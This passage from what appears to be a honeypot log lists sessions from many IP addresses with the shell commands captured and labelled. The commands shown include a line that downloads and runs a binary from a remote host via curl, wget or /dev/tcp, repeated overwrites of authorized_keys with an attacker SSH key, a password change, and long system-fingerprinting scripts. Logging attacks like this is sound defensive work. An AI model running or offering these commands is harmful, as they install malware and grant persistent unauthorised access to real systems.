busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—21
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—29
$ /bin/uname -s -v -n -m 2 > /dev/null ร—29
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—29
$ busybox uname -s -v -n -m 2 > /dev/null ร—29
$ ( [ -f /proc/version ] ร—29
$ [ -f /proc/version ] ร—29
$ head -1 /proc/version | cut -d -f1 ร—29
$ [ -f /etc/os-release ] ร—29
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—8
๐ŸŽญ velvet_jade_root_79 (111.228.28.79) โ€” Beijing, China ยท 1 session ยท 5 cmds
2026-07-11 08:42 EDT ยท as root/123456
echo โ†’ payload download from C2 โ†’ execute from /tmp โ†’ '8
$ echo 1 > /dev/null && cat /bin/echo
$ nohup $SHELL -c "curl http://220.180.99.71:60105/linux -o /tmp/96vFlVgjAL; if [ ! -f /tmp/96vFlVgjAL ]; then wget http://220.180.99.71:60105/linux -O /tmp/96vFlVgjAL; fi; if [ ! -f /tmp/96vFlVgjAL ]; then exec 6<>/dev/tcp/220.180.99.71/60105 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/96vFlVgjAL ; chmod +x /tmp/96vFlVgjAL && /tmp/96vFlVgjAL BHj3sTvbg4vYlTWU2IyD0COx8Gh8aWrzsTvbjIvYnjmJwYqO3CWw8W1peGnwryfYjJXEny6Qz4GN2iS14WBne2n5ryTYhJXHkDidwYyB2zWw8G5ne2v3ryTah5XHlzidwIuF2iCh8Gp4Z2r5ryTdhJXAkTqfwIiGyia472F+Z2r1tzvYhozMnjaWxZuF3Cev82x6Z2rwsjvbgovMkTCWxo6U2yW372l7Z2n3sDvbgoLMkDafxJuF2ySv82p/Z2H4ryLTjo3GkTKHzpWG2y2v82p8Z2zzuyPahYvHhziJx42HxCKy72p7eWL5sSfSlIPYlTGf2IqF3juw8GlzcWr2tzXchZXHkTeJwY+a0iO792h4eW3hsCfamonGlS6WxY+a2Ce792h4eW3htSTEgovYlTWW2IqM0y+29Wp/aWn0uTvbhIrYlTSV2IqN0y+38Wl5fHj1tjvbhIjYljGR2IqE3S+2+Wp4aWnwszvbho/YlDOJzoyO3CWw9W9pcXbzsCLEh4nYljeSzIyF2Ceh8Gl7Z23wryTfmorDljqRxoqE3zWw82hneGH3ryTfh5XHlTqRxoqE3zW38XZ7eW3vsyDemorFljqewIyCyiG272p9enbwtiLEhYjHnTaXx4uByiSy+HZ8cHb5ryfbjo3GljCS1oqG2zuy8XZ7eWvvsyHSjo3GljCS1o+DxCSw+XZ4fnb0uC/Sh4/EhzSQ2ImB3ju28nZ7eG37tiTag5vHkDaJzoOa0zuw8W5zcGD2tjXbjYvYnjKJwoOa3yK792h4eW0A0PtmWKwrB5o3CpBsvJ9GTec6iEm7rg==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/96vFlVgjAL && /tmp/96vFlVgjAL BHj3sTvbg4vYlTWU2IyD0COx8Gh8aWrzsTvbjIvYnjmJwYqO3CWw8W1peGnwryfYjJXEny6Qz4GN2iS14WBne2n5ryTYhJXHkDidwYyB2zWw8G5ne2v3ryTah5XHlzidwIuF2iCh8Gp4Z2r5ryTdhJXAkTqfwIiGyia472F+Z2r1tzvYhozMnjaWxZuF3Cev82x6Z2rwsjvbgovMkTCWxo6U2yW372l7Z2n3sDvbgoLMkDafxJuF2ySv82p/Z2H4ryLTjo3GkTKHzpWG2y2v82p8Z2zzuyPahYvHhziJx42HxCKy72p7eWL5sSfSlIPYlTGf2IqF3juw8GlzcWr2tzXchZXHkTeJwY+a0iO792h4eW3hsCfamonGlS6WxY+a2Ce792h4eW3htSTEgovYlTWW2IqM0y+29Wp/aWn0uTvbhIrYlTSV2IqN0y+38Wl5fHj1tjvbhIjYljGR2IqE3S+2+Wp4aWnwszvbho/YlDOJzoyO3CWw9W9pcXbzsCLEh4nYljeSzIyF2Ceh8Gl7Z23wryTfmorDljqRxoqE3zWw82hneGH3ryTfh5XHlTqRxoqE3zW38XZ7eW3vsyDemorFljqewIyCyiG272p9enbwtiLEhYjHnTaXx4uByiSy+HZ8cHb5ryfbjo3GljCS1oqG2zuy8XZ7eWvvsyHSjo3GljCS1o+DxCSw+XZ4fnb0uC/Sh4/EhzSQ2ImB3ju28nZ7eG37tiTag5vHkDaJzoOa0zuw8W5zcGD2tjXbjYvYnjKJwoOa3yK792h4eW0A0PtmWKwrB5o3CpBsvJ9GTec6iEm7rg==" &
โ†ณ payload download from C2
$ head -c 3716336 > /tmp/jyYSFhTqFs
โ†ณ execute from /tmp
$ echo 1 > /dev/null && cat /bin/echoQtd#0000
$ >A@/`'8
๐ŸŽญ venomous_kopi (47.236.116.235) โ€” Singapore, Singapore ยท 1 session ยท 1 cmd
2026-07-11 07:17 EDT ยท as guest/guest
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ aloof_jade_root (203.212.9.221) โ€” Beijing, China ยท 1 session ยท 2 cmds
2026-07-11 06:33 EDT ยท as root/123qweasdZXC
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ aloof_harbor_root (8.218.199.204) โ€” Hong Kong, Hong Kong ยท 1 session ยท 2 cmds
2026-07-10 23:08 EDT ยท as oracle/09N1RCa1Hs31
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ midnight_seoul_root (219.250.188.143) โ€” Uijeongbu-si, South Korea ยท 1 session ยท 2 cmds
2026-07-10 21:44 EDT ยท as oracle/root123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ hollow_dragon_sol (14.103.127.233) โ€” Haidian, China ยท 1 session ยท 2 cmds
2026-07-10 19:17 EDT ยท as validator/validator
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ glitchy_dimsum_sol (43.155.40.91) โ€” Hong Kong, Hong Kong ยท 1 session ยท 20 cmds
2026-07-10 18:32 EDT ยท as validator/validator
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "validator\nlntOWOn3I4vD\nlntOWOn3I4vD"|passwd|bash
$ Enter new UNIX password:
$ echo "validator\nlntOWOn3I4vD\nlntOWOn3I4vD\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ drowsy_nomad_root (154.70.102.114) โ€” Douala, Cameroon ยท 1 session ยท 2 cmds
2026-07-10 18:21 EDT ยท as oracle/oracle#
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ rusty_komodo_root (43.157.224.34) โ€” Jakarta, Indonesia ยท 64 sessions ยท 64 cmds
2026-06-26 13:06 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—64
๐ŸŽญ savage_jade_root_49 (112.25.252.49) โ€” Nanjing, China ยท 1 session ยท 1 cmd
2026-07-10 16:39 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ zealous_panda_root (139.170.141.170) โ€” Xining, China ยท 1 session ยท 1 cmd
2026-07-10 15:32 EDT ยท as root/root
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ clandestine_acai_root_173 (147.15.20.173) โ€” Sรฃo Paulo, Brazil ยท 1 session ยท 2 cmds
2026-07-10 13:03 EDT ยท as oracle/oracle#
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ restless_merlion_root_56 (47.84.191.56) โ€” Singapore, Singapore ยท 1 session ยท 1 cmd
2026-07-10 13:03 EDT ยท as admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ restless_bibimbap_root (14.63.196.175) โ€” Seongnam-si, South Korea ยท 1 session ยท 2 cmds
2026-07-10 12:48 EDT ยท as oracle/1qaz2wsx
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ vapor_eagle_root_11 (34.122.205.11) โ€” Council Bluffs, United States ยท 2 sessions ยท 2 cmds
2026-07-09 22:15 EDT ยท as root/123456, root/12345678
ls โ†’ ps
$ ls -la /
$ ps aux | head -10
๐ŸŽญ molten_sensei_root (160.251.140.254) โ€” Chiyoda City, Japan ยท 1 session ยท 2 cmds
2026-07-10 11:53 EDT ยท as oracle/oracle#
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ stoic_dutch_root (91.92.40.8) โ€” Amsterdam, The Netherlands ยท 17 sessions ยท 153 cmds
2026-06-28 17:19 EDT ยท as admin/123456, admin/admin, admin/admin123
PATH normalization โ†’ OS fingerprinting via uname -s -v -n -m โ†’ kernel version extraction from /proc/version โ†’ OS release check via /etc/os-release โ†’ hardware profiling for cryptomining potential
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—4
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—17
$ /bin/uname -s -v -n -m 2 > /dev/null ร—17
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—17
$ busybox uname -s -v -n -m 2 > /dev/null ร—17
$ ( [ -f /proc/version ] ร—17
$ [ -f /proc/version ] ร—17
$ head -1 /proc/version | cut -d -f1 ร—17
$ [ -f /etc/os-release ] ร—17
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output" ร—13
๐ŸŽญ obsidian_batik_root (103.174.114.164) โ€” Cicurug, Indonesia ยท 2 sessions ยท 21 cmds
2026-07-10 09:15 EDT ยท as oracle/12345678, root/password
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
